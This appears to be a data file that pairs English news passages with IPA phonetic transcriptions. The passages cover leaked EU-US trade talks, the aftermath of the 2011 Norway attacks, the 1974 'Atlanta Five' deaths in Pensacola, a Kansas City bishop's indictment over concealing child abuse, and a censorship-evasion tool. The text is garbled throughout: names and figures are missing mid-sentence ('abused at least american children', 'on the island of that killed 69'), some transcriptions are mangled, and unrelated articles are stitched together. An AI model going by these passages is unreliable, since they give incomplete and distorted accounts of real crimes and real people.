ðə ˈjuˈɛs ɪz nɑt ˈɪntəˌrɛstɪd ɪn, ənd wɪl ˌɪnˈsɪst ɔn ˌɪnˈkludɪŋ ˈstændərd ɪn, rəˈgɑrdləs əv ˈwəriz. ə likt ˈʧæptər ɔn "ˈrɛgjələˌtɔri koʊˈhɪrəns, trænˈspɛrənsi ənd ˈəðər gʊd ˈrɛgjələˌtɔri ˈpræktɪsɪz" ˈɪndɪˌkeɪts ðət ðə ˈjuˈɛs wɔnts ɔl ˌrɛgjəˈleɪʃənz, ˈivɪn ðoʊz kənˈsərnɪŋ hɛlθ ənd ˈseɪfti ər ɪnˌvaɪrənˈmɛnəl ˈɪʃuz, tɪ bi ʤəʤd baɪ ðə ˈjɑrdˌstɪk əv ðɛr ˈifɛkts ɔn treɪd: "wɪn dɪˈvɛləpɪŋ ə ˌrɛgjəˈleɪʃən, ə ˈrɛgjələˌtɔri əˈθɔrəti əv ə ˈpɑrti ʃæl ɪˈvæljuˌeɪt ˈɛni ˌɪnˌfɔrˈmeɪʃən prəˈvaɪdɪd ɪn ˈkɑmɛnts baɪ ðə ˈəðər ˈpɑrti ər ə ˈpərsən əv ðə ˈəðər ˈpɑrti rɪˈgɑrdɪŋ ðə pəˈtɛnʃəl treɪd ˈifɛkts əv ðə ˌrɛgjəˈleɪʃən ðət ɪt rɪˈsivz ˈdʊrɪŋ ðə ˈkɑmɛnt ˈpɪriəd." ɪn ˈpræktɪs, ðɪs minz ðət ˈkəmpəˌniz wɪl bi ˈeɪbəl tɪ ˈʧælənʤ ˈɛni nu ənd ˈjuˈɛs ˌrɛgjəˈleɪʃənz ðət maɪt hæv ən ˌædˈvərs ˈifɛkt ɔn ðɛr ˈprɑfɪts, ɛz ɪz ˈɔfən ðə keɪs wɪn nu ɪnˈvaɪrənmənt ˌrɛgjəˈleɪʃənz ər brɔt ɪn. ɪt ɪz ˈlaɪkli tɪ meɪk ɪt məʧ ˈhɑrdər tɪ ˈstrɛŋθən lɔz ðət maɪt ˌdɪsədˈvænɪʤ ˈbɪznɪs bət prəˈtɛkt ˈpəblɪk hɛlθ ənd ˈseɪfti. ə poʊst ɔn ðə wɔr ɔn wɔnt saɪt pɔɪnts aʊt ðət ðə liks kənˈteɪn ə ˈvɛri klɪr ˌɪndəˈkeɪʃən əv wət ðə ˈjuˈɛs wɔnts tɪ əˈʧiv ɛz ə kwɪd proʊ kwoʊ fər ˈoʊpənɪŋ əp ɪts ˈmɑrkɪts: "ˈɛni ˈɛkspɔrt geɪnz fər kɑr ˌmænjəˈfækʧərərz wɪl kəm æt ə ˈmæsɪv kɔst tɪ ˌjʊrəˈpiən ˈægrɪˌkəlʧər, wɪθ ðə ˌjʊrəˈpiən kəˈmɪʃən ˈsækrəˌfaɪsɪŋ ðə ˈfɑrmərz əv ˈjʊrəp ɪn ˈɔrdər tɪ fɔrs ˈoʊpən ˈjuˈɛs ˈmɑrkɪts fər ˈmeɪʤər ˌjʊrəˈpiən ˌkɔrpərˈeɪʃənz." ðə ki ˈsɛntəns kəmz ɪn ðə ˌpɑrˈtɪkjələrli ˈsɛnsɪtɪv ˈdɑkjəmɛnt ɛnˈtaɪtəld "ˈtæktɪkəl steɪt əv pleɪ əv ðə nɪˌgoʊʃiˈeɪʃənz." ðɪs ɪz ɛˈsɛnʃəli ðə ˌjʊrəˈpiən fræŋk ɪˌvæljuˈeɪʃən əv wɛr θɪŋz stænd ɪn ðə tɔks. hɪrz wət ɪt həz tɪ seɪ ɔn ðə ˈjuˈɛs dɪˈmænd: "ˈprɑˌgrɛs ɔn ˈmoʊtər pɑrts wʊd ˈoʊnli bi ˈpɑsəbəl ɪf ðə ʃoʊd ˈprɑˌgrɛs ɪn ðə dɪˈskəʃən ɔn ˌægrɪˈkəlʧərəl ˈtɛrəfs." ɪn ˈəðər wərdz, ɪf ðə ˈdəzənt ˈoʊpən əp ɪts ˈmɑrkɪts tɪ ˌægrɪˈkəlʧərəl ˈprɑdəkts frəm ðə minz θɪŋz laɪk bif ˈtritɪd wɪθ ˈhɔrˌmoʊnz, ənd ˈmeɪbi ˈivɪn ˈklɔrin wɪl bi noʊ ˌɪmˈpruvd ˈækˌsɛs fər kɑr ˌmænjəˈfækʧərərz. ˈjuˈɛs wɔnts mɔr ɪn ðə pərˈhæps ðə moʊst ˌprɑbləˈmætɪk dɪˈmænd frəm ðə ˈjuˈɛs saɪd ɪz ðət ðə kəˈmɪʃən ʃʊd əˈlaʊ fudz wɪθ tɪ bi əˈpruvd ənd soʊld ɪn ðə mɔr ˈizəli. ɪn ˈdɑkjəmənts, ər səʧ ə ˈsɛnsɪtɪv ˈɛriə ðət ðeɪ ər kɔld baɪ ðə ˈjufəˌmɪzəm "ˈmɑdərn ˌægrɪˈkəlʧərəl tɛkˈnɑləʤi." æt ðə ˈmoʊmənt, ðə əˈpruvəlz ˈprɔˌsɛs ɪz ˈrəðər sloʊ ɪn ðə, bət ðə ˈjuˈɛs hoʊps tɪ ʧeɪnʤ ɔl ðət, ɛz əˈnəðər likt ˈʧæptər meɪks klɪr: "wɛr ə ˈpɑrti rikˈwaɪərz ə ˈprɑdəkt əv ˈmɑdərn ˌægrɪˈkəlʧərəl tɛkˈnɑləʤi tɪ bi əˈpruvd ər praɪər tɪ ɪts ˌɪmpɔrˈteɪʃən, juz ər seɪl ɪn ɪts ˈtɛrɪˌtɔri, ðə ˈpɑrti ʃæl əˈlaʊ ˈɛni ˈpərsən tɪ səbˈmɪt ən ˌæpləˈkeɪʃən fər əˈpruvəl æt ˈɛni taɪm." ˌɔlˈðoʊ ðət saʊnz ˈhɑrmləs ɪˈnəf, ɪt wʊd ˌrɛprɪˈzɛnt ə ˈmeɪʤər ʧeɪnʤ frəm ðə ˈprɛzənt ˈsɪstəm. ˈgrinˌpis ˈnɛðərləndz ˈnæʧərəli ˈsɪŋgəlz aʊt səm kənˈsərnz əˈbaʊt ðə ɪnˈvaɪrənmənt, ənd ðə fækt ðət ðɛr ɪz ˈnəθɪŋ əˈbaʊt ˈklaɪmɪt prəˈtɛkʃən ɪn ðə tɛksts. ɪn ɪts prɛs riˈlis ɪt sɪz: "lɔŋ ˈstændɪŋ ɪnˌvaɪrənˈmɛnəl prəˈtɛkʃən ɪz drɑpt. ðə 'ˈʤɛnərəl ɪkˈsɛpʃənz' rul, ɛnʃˈraɪnd ɪn ðə gæt əˈgrimənt əv ðə wərld treɪd ˌɔrgənɪˈzeɪʃən (wto*), ɪz ˈæbsənt frəm ðə tɛkst." ˈlɪstɪŋ ˈɪmɪʤ baɪ |
image caption mr stoltenberg said norwegians had found their way home again
norway's prime minister, jens stoltenberg, has warned his compatriots not to launch a "witch-hunt" following the deadly attacks of 22 july.
at a special session of parliament, he urged citizens and fellow politicians to show restraint and tolerance.
king harald and crown prince stood in silence as the speaker read the names of the 77 victims.
mps listened as violinist arve tellefsen played music by the norwegian composer ole bull.
more funerals were held on monday, including that of dogan, a girl of turkish origin.
turkey's foreign minister attended her funeral ceremony, held on the first day of ramadan, in trondheim, on norway's west coast. it took place on a football pitch because the local mosque was too small.
anders behring breivik, 32, has admitted carrying out the attacks - a car bomb in oslo that killed eight people, and a mass shooting on the island of that killed 69 mostly young labour party activists.
police said he would face interrogation this week that would be "more confrontational" than previous questioning.
'fear and despair'
a survey has suggested public pressure is growing in norway for stiffer sentences for serious crimes. the poll for gang newspaper suggested 65% of people thought penalties in norway's justice system were "too low"; more than half said their view had hardened since the massacre.
but justice minister knut said: "we must listen and have a debate, while not drawing hasty conclusions.
"it's important that policy isn't shaped in a state of panic."
the prime minister also warned against measures that would curtail people's freedoms.
"i would like to ask from this podium that we avoid starting a witch hunt on expression," he told.
"everyone had to choose their own path in a landscape filled by shock, fear and despair. but the norwegian people found their way home again."
but the progress party indicated that it would press for tougher judicial measures.
per sandberg, chairman of parliament's justice committee, and a member of the party, said when parliament reconvened in a few weeks there would be discussion "about sentences, searches by the police and everything else".
"my party has always wanted that. i believe there will be new measures," he told reuters. | ˈɪmɪʤ ˈkæpʃən ˈmɪstər ˈstoʊltənbərg sɛd nɔrˈwiʤənz hæd faʊnd ðɛr weɪ hoʊm əˈgɛn ˈnɔrˌweɪz praɪm ˈmɪnɪstər, ʤɛnz ˈstoʊltənbərg, həz wɔrnd hɪz kəmˈpeɪtriəts nɑt tɪ lɔnʧ ə "witch-hunt*" ˈfɑloʊɪŋ ðə ˈdɛdli əˈtæks əv 22 ˌʤuˈlaɪ. æt ə ˈspɛʃəl ˈsɛʃən əv ˈpɑrləmɛnt, hi ərʤd ˈsɪtɪzənz ənd ˈfɛloʊ ˌpɑləˈtɪʃənz tɪ ʃoʊ rɪˈstreɪnt ənd ˈtɑlərəns. kɪŋ ˈhɑrəld ənd kraʊn prɪns stʊd ɪn ˈsaɪləns ɛz ðə ˈspikər rɛd ðə neɪmz əv ðə 77 ˈvɪktɪmz. ˈlɪsənd ɛz vaɪəˈlɪnəst ɑrv ˈtɛlɪfsən pleɪd mˈjuzɪk baɪ ðə ˌnɔrˈwiʤən kəmˈpoʊzər ˌoʊˈleɪ bʊl. mɔr fˈjunərəlz wər hɛld ɔn ˈmənˌdeɪ, ˌɪnˈkludɪŋ ðət əv ˈdoʊgən, ə gərl əv ˈtərkɪʃ ˈɔrəʤən. ˈtərkiz ˈfɔrən ˈmɪnɪstər əˈtɛndəd hər fˈjunərəl ˈsɛrəˌmoʊni, hɛld ɔn ðə fərst deɪ əv ˈrɑməˌdɑn, ɪn trondheim*, ɔn ˈnɔrˌweɪz wɛst koʊst. ɪt tʊk pleɪs ɔn ə ˈfʊtˌbɔl pɪʧ bɪˈkəz ðə ˈloʊkəl mɔsk wɑz tu smɔl. ˈændərz ˈbɛrɪŋ breivik*, 32 həz ədˈmɪtəd ˈkɛriɪŋ aʊt ðə əˈtæks ə kɑr bɔm ɪn ˈɑzloʊ ðət kɪld eɪt ˈpipəl, ənd ə mæs ˈʃutɪŋ ɔn ðə ˈaɪlənd əv ðət kɪld 69 ˈmoʊstli jəŋ ˈleɪbər ˈpɑrti ˈæktɪvɪsts. pəˈlis sɛd hi wʊd feɪs ˌɪnˌtɛrəˈgeɪʃən ðɪs wik ðət wʊd bi "mɔr ˌkɑnfrənˈteɪʃənəl" ðən ˈpriviəs kˈwɛsʧənɪŋ. 'fɪr ənd dɪˈspɛr' ə ˈsərˌveɪ həz səˈʤɛstɪd ˈpəblɪk ˈprɛʃər ɪz groʊɪŋ ɪn ˈnɔrˌweɪ fər ˈstɪfər ˈsɛntənsɪz fər ˈsɪriəs kraɪmz. ðə poʊl fər gæŋ ˈnuzˌpeɪpər səˈʤɛstɪd 65 əv ˈpipəl θɔt ˈpɛnəltiz ɪn ˈnɔrˌweɪz ˈʤəstɪs ˈsɪstəm wər "tu loʊ"; mɔr ðən hæf sɛd ðɛr vju hæd ˈhɑrdənd sɪns ðə ˈmæsəkər. bət ˈʤəstɪs ˈmɪnɪstər knət sɛd: "wi məst ˈlɪsən ənd hæv ə dəˈbeɪt, waɪl nɑt drɔɪŋ ˈheɪsti kənˈkluʒənz. "ɪts ˌɪmˈpɔrtənt ðət ˈpɑləsi ˈɪzənt ʃeɪpt ɪn ə steɪt əv ˈpænɪk." ðə praɪm ˈmɪnɪstər ˈɔlsoʊ wɔrnd əˈgɛnst ˈmɛʒərz ðət wʊd kərˈteɪl ˈpipəlz ˈfridəmz. "aɪ wʊd laɪk tɪ æsk frəm ðɪs ˈpoʊdiəm ðət wi əˈvɔɪd ˈstɑrtɪŋ ə wɪʧ hənt ɔn ɪkˈsprɛʃən," hi toʊld. "ˈɛvriˌwən hæd tɪ ʧuz ðɛr oʊn pæθ ɪn ə ˈlænˌskeɪp fɪld baɪ ʃɑk, fɪr ənd dɪˈspɛr. bət ðə ˌnɔrˈwiʤən ˈpipəl faʊnd ðɛr weɪ hoʊm əˈgɛn." bət ðə ˈprɑˌgrɛs ˈpɑrti ˈɪndəˌkeɪtɪd ðət ɪt wʊd prɛs fər ˈtəfər ʤuˈdɪʃəl ˈmɛʒərz. pər ˈsændbərg, ˈʧɛrmən əv ˈpɑrləmɛnts ˈʤəstɪs kəˈmɪti, ənd ə ˈmɛmbər əv ðə ˈpɑrti, sɛd wɪn ˈpɑrləmɛnt rikənˈvind ɪn ə fju wiks ðɛr wʊd bi dɪˈskəʃən "əˈbaʊt ˈsɛntənsɪz, ˈsərʧɪz baɪ ðə pəˈlis ənd ˈɛvriˌθɪŋ ɛls". "maɪ ˈpɑrti həz ˈɔlˌweɪz ˈwɔntɪd ðət. aɪ bɪˈliv ðɛr wɪl bi nu ˈmɛʒərz," hi toʊld ˈrɔɪtərz. |
buy photo civil rights leader rev. h.k. matthews. (photo: john photo
in 1974, five men from atlanta came to pensacola on a fishing trip and drowned in rough waters.
that's the official summation of the deaths of the "atlanta five," and for some people it leaves much to be desired. for family members, civil rights leaders and academics, questions still abound.
why would five experienced fishermen be in a boat with no gear and without wearing life jackets? if the men were in the water for more than a week before being found, why were their bodies so well preserved? why do witness statements about the events leading up to the deaths seem inconsistent?
atlanta-based producer edward anderson will be in pensacola next week attempting to tackle some of those questions. anderson is filming a documentary about the atlanta five for the storyline group and media, and he is hoping his work will help provide five families the answers they've been seeking for the last 41 years.
"they want to make it clear they are not happy with the results of the investigation," anderson said of the decedents' families. "they would like to publicize what happened to their loved ones in the event someone will come forward with more information."
anderson said he got involved in the project after meeting janice holloway cameron, the daughter of one of the atlanta five. the woman told him the story of how her father disappeared, how officials said he died and what she and many others believe actually happened.
lee roy holloway, robert walker, marvin walker, john sterling and lonnie merritt, all black men, reportedly left atlanta around p.m., nov. 29, 1974, for a fishing trip to pensacola. it was an excursion they had reportedly made several times during a 20-year-span.
at about 10 a.m. the next day, robert son was informed his boat had been found abandoned in the santa rosa sound. reportedly, the anchor line had been cut, life preservers were in the boat and the key was still in the ignition.
the food, ice, fishing gear and bait were found in a nearby camper.
the u.s. coast guard and the office performed a search of the area, but the men were not located and the search was discontinued.
their families requested assistance from the southern christian leadership conference, the civil rights group founded by dr. martin luther king jr., and president ralph abernathy announced he would travel to pensacola to look into the disappearances.
soon after the announcement, “the bodies started washing up mysteriously,” said rev. h.k. matthews, an area civil rights leader who headed the local chapter of the sclc.
matthews and abernathy were able to view the bodies, and abernathy described them as “natural looking,” according to the website atlantafive.com.
“john sterling, after having been in the water for 12 days, still had his glasses on his face,” matthews said. “that was something that troubled us.”
the prevailing unofficial theory is that the men were kidnapped in an act of violence, then killed and dumped in the santa rosa sound when it was discovered there would be an outside investigation.
there is a witness account that the atlanta five had gotten into a verbal altercation with a local bait shop owner, and he had threatened at least one of the lives.
there is another witness account from a man named joe sullivan who said he saw the men preparing to go out on the choppy water and warned them against it. he reportedly said he saw the men on saturday evening, an apparent conflict with the timeline.
“our thinking all along was that mr. sullivan was being used to cover up what we think was a murder,” matthews said. “the whole thing was speculative, but there is enough evidence that the speculation is very strong.”
matthews is just one of many who thinks the five men were victims of foul play.
the atlanta five case is being reviewed by syracuse university college of law faculty and students as part of the cold case justice initiative, a project that “seeks justice for racially motivated murders during the civil rights era on behalf of the victims, their families, local communities, and society at large.”
the group is delving into hundreds of cases from around the country, and has been assisting anderson with research for his documentary. the groups are also working to have the case investigated under the emmett till unsolved civil rights crime act, a federal initiative to resolve lingering cases.
anderson plans to spend three days filming and conducting interviews in pensacola next week, with the hope that someone out there can finally provide some satisfactory answers.
"these folks are troopers," anderson said of the atlanta families. "they've been vigilant. over the years their enthusiasm has faded some, but they've never given up. there are too many clues that seem to have been missed."
read or share this story: | baɪ ˈfoʊˌtoʊ ˈsɪvəl raɪts ˈlidər rɛv. h.k*. ˈmæθjuz. (ˈfoʊˌtoʊ: ʤɑn ˈfoʊˌtoʊ ɪn 1974 faɪv mɛn frəm æˈtlæntə keɪm tɪ ˌpɛnsəˈkoʊlə ɔn ə ˈfɪʃɪŋ trɪp ənd draʊnd ɪn rəf ˈwɔtərz. ðæts ðə əˈfɪʃəl səˈmeɪʃən əv ðə dɛθs əv ðə "æˈtlæntə faɪv," ənd fər səm ˈpipəl ɪt livz məʧ tɪ bi dɪˈzaɪərd. fər ˈfæməli ˈmɛmbərz, ˈsɪvəl raɪts ˈlidərz ənd ˌækəˈdɛmɪks, kˈwɛsʧənz stɪl əˈbaʊnd. waɪ wʊd faɪv ɪkˈspɪriənst ˈfɪʃərmɪn bi ɪn ə boʊt wɪθ noʊ gɪr ənd wɪˈθaʊt ˈwɛrɪŋ laɪf ˈʤækɪts? ɪf ðə mɛn wər ɪn ðə ˈwɔtər fər mɔr ðən ə wik ˌbiˈfɔr biɪŋ faʊnd, waɪ wər ðɛr ˈbɑdiz soʊ wɛl prɪˈzərvd? waɪ du ˈwɪtnəs ˈsteɪtmənts əˈbaʊt ðə ɪˈvɛnts ˈlidɪŋ əp tɪ ðə dɛθs sim ˌɪnkənˈsɪstənt? prəˈdusər ˈɛdwərd ˈændərsən wɪl bi ɪn ˌpɛnsəˈkoʊlə nɛkst wik əˈtɛmptɪŋ tɪ ˈtækəl səm əv ðoʊz kˈwɛsʧənz. ˈændərsən ɪz ˈfɪlmɪŋ ə ˌdɑkjəˈmɛnəri əˈbaʊt ðə æˈtlæntə faɪv fər ðə ˈstɔriˌlaɪn grup ənd ˈmidiə, ənd hi ɪz ˈhoʊpɪŋ hɪz wərk wɪl hɛlp prəˈvaɪd faɪv ˈfæməliz ðə ˈænsərz ðeɪv bɪn ˈsikɪŋ fər ðə læst 41 jɪrz. "ðeɪ wɔnt tɪ meɪk ɪt klɪr ðeɪ ər nɑt ˈhæpi wɪθ ðə rɪˈzəlts əv ðə ˌɪnˌvɛstəˈgeɪʃən," ˈændərsən sɛd əv ðə dɛˈsidənts' ˈfæməliz. "ðeɪ wʊd laɪk tɪ ˈpəblɪˌsaɪz wət ˈhæpənd tɪ ðɛr ləvd wənz ɪn ðə ɪˈvɛnt ˈsəmˌwən wɪl kəm ˈfɔrwərd wɪθ mɔr ˌɪnˌfɔrˈmeɪʃən." ˈændərsən sɛd hi gɑt ˌɪnˈvɑlvd ɪn ðə ˈprɑʤɛkt ˈæftər ˈmitɪŋ ˈʤænɪs ˈhɑloʊˌweɪ ˈkæmərən, ðə ˈdɔtər əv wən əv ðə æˈtlæntə faɪv. ðə ˈwʊmən toʊld ɪm ðə ˈstɔri əv haʊ hər ˈfɑðər ˌdɪsəˈpɪrd, haʊ əˈfɪʃəlz sɛd hi daɪd ənd wət ʃi ənd ˈmɛni ˈəðərz bɪˈliv ˈæˌkʧuəli ˈhæpənd. li rɔɪ ˈhɑloʊˌweɪ, ˈrɑbərt ˈwɔkər, ˈmɑrvɪn ˈwɔkər, ʤɑn ˈstərlɪŋ ənd ˈlɔni ˈmɛrɪt, ɔl blæk mɛn, rɪˈpɔrtədli lɛft æˈtlæntə əraʊnd p.m*., noʊv. 29 1974 fər ə ˈfɪʃɪŋ trɪp tɪ ˌpɛnsəˈkoʊlə. ɪt wɑz ən ɪkˈskərʒən ðeɪ hæd rɪˈpɔrtədli meɪd ˈsɛvərəl taɪmz ˈdʊrɪŋ ə 20-year-span*. æt əˈbaʊt 10 a.m*. ðə nɛkst deɪ, ˈrɑbərt sən wɑz ˌɪnˈfɔrmd hɪz boʊt hæd bɪn faʊnd əˈbændənd ɪn ðə ˈsænə ˈroʊzə saʊnd. rɪˈpɔrtədli, ðə ˈæŋkər laɪn hæd bɪn kət, laɪf prəˈzərvərz wər ɪn ðə boʊt ənd ðə ki wɑz stɪl ɪn ðə ˌɪgˈnɪʃən. ðə fud, aɪs, ˈfɪʃɪŋ gɪr ənd beɪt wər faʊnd ɪn ə ˈnɪrˈbaɪ ˈkæmpər. ðə juz. koʊst gɑrd ənd ðə ˈɔfəs pərˈfɔrmd ə sərʧ əv ðə ˈɛriə, bət ðə mɛn wər nɑt ˈloʊˌkeɪtəd ənd ðə sərʧ wɑz dɪskənˈtɪnjud. ðɛr ˈfæməliz rɪkˈwɛstɪd əˈsɪstəns frəm ðə ˈsəðərn ˈkrɪsʧɪn ˈlidərˌʃɪp ˈkɑnfərəns, ðə ˈsɪvəl raɪts grup ˈfaʊndɪd baɪ ˈdɑktər. ˈmɑrtɪn ˈluθər kɪŋ jr*., ənd ˈprɛzɪdənt rælf ˈæbərˌnæθi əˈnaʊnst hi wʊd ˈtrævəl tɪ ˌpɛnsəˈkoʊlə tɪ lʊk ˈɪntu ðə ˌdɪsəˈpɪrənsɪz. sun ˈæftər ðə əˈnaʊnsmɛnt, ˈbɑdiz ˈstɑrtɪd ˈwɑʃɪŋ əp mysteriously,”*,” sɛd rɛv. h.k*. ˈmæθjuz, ən ˈɛriə ˈsɪvəl raɪts ˈlidər hu ˈhɛdɪd ðə ˈloʊkəl ˈʧæptər əv ðə sclc*. ˈmæθjuz ənd ˈæbərˌnæθi wər ˈeɪbəl tɪ vju ðə ˈbɑdiz, ənd ˈæbərˌnæθi dɪˈskraɪbd ðɛm ɛz looking,”*,” əˈkɔrdɪŋ tɪ ðə ˈwɛbˌsaɪt atlantafive.com*. ˈstərlɪŋ, ˈæftər ˈhævɪŋ bɪn ɪn ðə ˈwɔtər fər 12 deɪz, stɪl hæd hɪz ˈglæsɪz ɔn hɪz face,”*,” ˈmæθjuz sɛd. wɑz ˈsəmθɪŋ ðət ˈtrəbəld us.”*.” ðə prɪˈveɪlɪŋ ˌənəˈfɪʃəl ˈθɪri ɪz ðət ðə mɛn wər ˈkɪdˌnæpt ɪn ən ækt əv ˈvaɪələns, ðɛn kɪld ənd dəmpt ɪn ðə ˈsænə ˈroʊzə saʊnd wɪn ɪt wɑz dɪˈskəvərd ðɛr wʊd bi ən ˈaʊtˈsaɪd ˌɪnˌvɛstəˈgeɪʃən. ðɛr ɪz ə ˈwɪtnəs əˈkaʊnt ðət ðə æˈtlæntə faɪv hæd ˈgɔtən ˈɪntu ə ˈvərbəl ˌɑltərˈkeɪʃən wɪθ ə ˈloʊkəl beɪt ʃɑp ˈoʊnər, ənd hi hæd θˈrɛtənd æt list wən əv ðə lɪvz. ðɛr ɪz əˈnəðər ˈwɪtnəs əˈkaʊnt frəm ə mæn neɪmd ʤoʊ ˈsəlɪvən hu sɛd hi sɔ ðə mɛn pərˈpɛrɪŋ tɪ goʊ aʊt ɔn ðə ˈʧɑpi ˈwɔtər ənd wɔrnd ðɛm əˈgɛnst ɪt. hi rɪˈpɔrtədli sɛd hi sɔ ðə mɛn ɔn ˈsæˌtɪˌdeɪ ˈivnɪŋ, ən əˈpɛrənt ˈkɑnflɪkt wɪθ ðə ˈtaɪmlaɪn. ˈθɪŋkɪŋ ɔl əˈlɔŋ wɑz ðət ˈmɪstər. ˈsəlɪvən wɑz biɪŋ juzd tɪ ˈkəvər əp wət wi θɪŋk wɑz ə murder,”*,” ˈmæθjuz sɛd. hoʊl θɪŋ wɑz ˈspɛkjələtɪv, bət ðɛr ɪz ɪˈnəf ˈɛvədəns ðət ðə ˌspɛkjəˈleɪʃən ɪz ˈvɛri strong.”*.” ˈmæθjuz ɪz ʤɪst wən əv ˈmɛni hu θɪŋks ðə faɪv mɛn wər ˈvɪktɪmz əv faʊl pleɪ. ðə æˈtlæntə faɪv keɪs ɪz biɪŋ rivˈjud baɪ ˈsɪrəˌkjuz ˌjunəˈvərsəti ˈkɑlɪʤ əv lɔ ˈfækəlti ənd ˈstudənts ɛz pɑrt əv ðə koʊld keɪs ˈʤəstɪs ˌɪˈnɪʃətɪv, ə ˈprɑʤɛkt ðət ˈʤəstɪs fər ˈreɪʃəli ˈmoʊtəˌveɪtəd ˈmərdərz ˈdʊrɪŋ ðə ˈsɪvəl raɪts ˈɪrə ɔn bɪˈhæf əv ðə ˈvɪktɪmz, ðɛr ˈfæməliz, ˈloʊkəl kəmˈjunɪtiz, ənd soʊˈsaɪɪti æt large.”*.” ðə grup ɪz ˈdɛlvɪŋ ˈɪntu ˈhənərdz əv ˈkeɪsɪz frəm əraʊnd ðə ˈkəntri, ənd həz bɪn əˈsɪstɪŋ ˈændərsən wɪθ ˈrisərʧ fər hɪz ˌdɑkjəˈmɛnəri. ðə grups ər ˈɔlsoʊ ˈwərkɪŋ tɪ hæv ðə keɪs ˌɪnˈvɛstəˌgeɪtɪd ˈəndər ðə ˈɛmɪt tɪl ənˈsɑlvd ˈsɪvəl raɪts kraɪm ækt, ə ˈfɛdərəl ˌɪˈnɪʃətɪv tɪ riˈzɑlv ˈlɪŋgərɪŋ ˈkeɪsɪz. ˈændərsən plænz tɪ spɛnd θri deɪz ˈfɪlmɪŋ ənd kənˈdəktɪŋ ˈɪntərvˌjuz ɪn ˌpɛnsəˈkoʊlə nɛkst wik, wɪθ ðə hoʊp ðət ˈsəmˌwən aʊt ðɛr kən ˈfaɪnəli prəˈvaɪd səm ˌsætɪsˈfæktəri ˈænsərz. "ðiz foʊks ər ˈtrupərz," ˈændərsən sɛd əv ðə æˈtlæntə ˈfæməliz. "ðeɪv bɪn ˈvɪʤələnt. ˈoʊvər ðə jɪrz ðɛr ɪnˈθuziˌæzəm həz ˈfeɪdɪd səm, bət ðeɪv ˈnɛvər ˈgɪvɪn əp. ðɛr ər tu ˈmɛni kluz ðət sim tɪ hæv bɪn mɪst." rɛd ər ʃɛr ðɪs ˈstɔri: |
the roman catholic bishop of kansas city has been indicted by a grand jury on charges that he covered up child abuse, the new york times reports. robert finn is the member of the american church to face criminal charges related to child abuse. authorities say finn knew that one of his priests, rev. shawn, had lewd photos of young girls on his computer, but finn did not report to the authorities for five months.
according to the kansas city star, finn to live in a mission house in independence, mo., after hearing complaints about his inappropriate behavior. is accused of trying to take pornographic photos of a girl during his time there.
finn is affiliated with opus dei, a powerful and controversial organization within catholicism, according to the times. he pleaded not guilty to the misdemeanor charge.
according to agence france-press, the sexual abuse crisis has cost the american branch of the catholic church $3 billion since the first allegations surfaced in the 1980s, though few people have been jailed for their crimes. the u.s. conference of bishops established a review board that found that "4,392 catholic priests and deacons sexually abused at least american children between 1950 and 2002," the reports.
only 615 incidents were reported to civil authorities, with 252 clergymen convicted.
correction: an earlier version of this story incorrectly stated that the grand jury that indicted bishop finn was a federal jury.
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• will the naked mole rate help humans live longer? | ðə ˈroʊmən ˈkæθlɪk ˈbɪʃəp əv ˈkænzəs ˈsɪti həz bɪn ˌɪnˈdaɪtɪd baɪ ə grænd ˈʤʊri ɔn ˈʧɑrʤɪz ðət hi ˈkəvərd əp ʧaɪld əˈbjuz, ðə nu jɔrk taɪmz rɪˈpɔrts. ˈrɑbərt fɪn ɪz ðə ˈmɛmbər əv ðə əˈmɛrɪkən ʧərʧ tɪ feɪs ˈkrɪmənəl ˈʧɑrʤɪz rɪˈleɪtɪd tɪ ʧaɪld əˈbjuz. əˈθɔrətiz seɪ fɪn nu ðət wən əv hɪz prists, rɛv. ʃɔn, hæd lud ˈfoʊˌtoʊz əv jəŋ gərlz ɔn hɪz kəmˈpjutər, bət fɪn dɪd nɑt rɪˈpɔrt tɪ ðə əˈθɔrətiz fər faɪv mənθs. əˈkɔrdɪŋ tɪ ðə ˈkænzəs ˈsɪti stɑr, fɪn tɪ lɪv ɪn ə ˈmɪʃən haʊs ɪn ˌɪndɪˈpɛndəns, moʊ., ˈæftər ˈhirɪŋ kəmˈpleɪnts əˈbaʊt hɪz ˌɪnəˈproʊpriɪt bɪˈheɪvjər. ɪz əˈkjuzd əv traɪɪŋ tɪ teɪk ˌpɔrnəˈgræfɪk ˈfoʊˌtoʊz əv ə gərl ˈdʊrɪŋ hɪz taɪm ðɛr. fɪn ɪz əˈfɪliˌeɪtɪd wɪθ ˈoʊpəs dei*, ə ˈpaʊərfəl ənd ˌkɑntrəˈvərʃəl ˌɔrgənəˈzeɪʃən wɪˈθɪn kəˈθɔləˌsɪzəm, əˈkɔrdɪŋ tɪ ðə taɪmz. hi ˈplidɪd nɑt ˈgɪlti tɪ ðə ˌmɪsdəˈminər ʧɑrʤ. əˈkɔrdɪŋ tɪ ˈæʤəns france-press*, ðə ˈsɛkʃuəl əˈbjuz ˈkraɪsəs həz kɔst ðə əˈmɛrɪkən brænʧ əv ðə ˈkæθlɪk ʧərʧ 3 ˈbɪljən sɪns ðə fərst ˌæləˈgeɪʃənz ˈsərfɪst ɪn ðə 1980s*, ðoʊ fju ˈpipəl hæv bɪn ʤeɪld fər ðɛr kraɪmz. ðə juz. ˈkɑnfərəns əv ˈbɪʃəps ɪˈstæblɪʃt ə ˌrivˈju bɔrd ðət faʊnd ðət ˈkæθlɪk prists ənd ˈdikənz ˈsɛkʃuəli əˈbjuzd æt list əˈmɛrɪkən ˈʧɪldrən bɪtˈwin 1950 ənd 2002 ðə rɪˈpɔrts. ˈoʊnli 615 ˈɪnsədənts wər ˌriˈpɔrtəd tɪ ˈsɪvəl əˈθɔrətiz, wɪθ 252 ˈklərʤiˌmɛn kənˈvɪktəd. kərˈɛkʃən: ən ˈərliər ˈvərʒən əv ðɪs ˈstɔri ˌɪnkərˈɛktli ˈsteɪtɪd ðət ðə grænd ˈʤʊri ðət ˌɪnˈdaɪtɪd ˈbɪʃəp fɪn wɑz ə ˈfɛdərəl ˈʤʊri. ˈəðər ˈpɑpjələr ˈjɑˌhu! nuz ˈstɔriz: ˈsiˈɛˈnɛn dɪˈfɛndz dɪˈsɪʒən tɪ ˈbrɔdˌkæst ˈmaɪkəl ˈʤæksən ˈɔˌtɑpsi ˈfoʊˌtoʊ rɪk ˈpɛri bɪˈlivz hiz biɪŋ əˈtækt bɪˈkəz hiz ə ˈkrɪsʧɪn wɪl ðə ˈneɪkəd moʊl reɪt hɛlp ˈjumənz lɪv ˈlɔŋgər? |
life is about to become more difficult for countries trying to censor access to foreign websites. a system dubbed collage will allow users in these countries to download stories from blocked sites while visiting seemingly uncontroversial sites such as flickr.
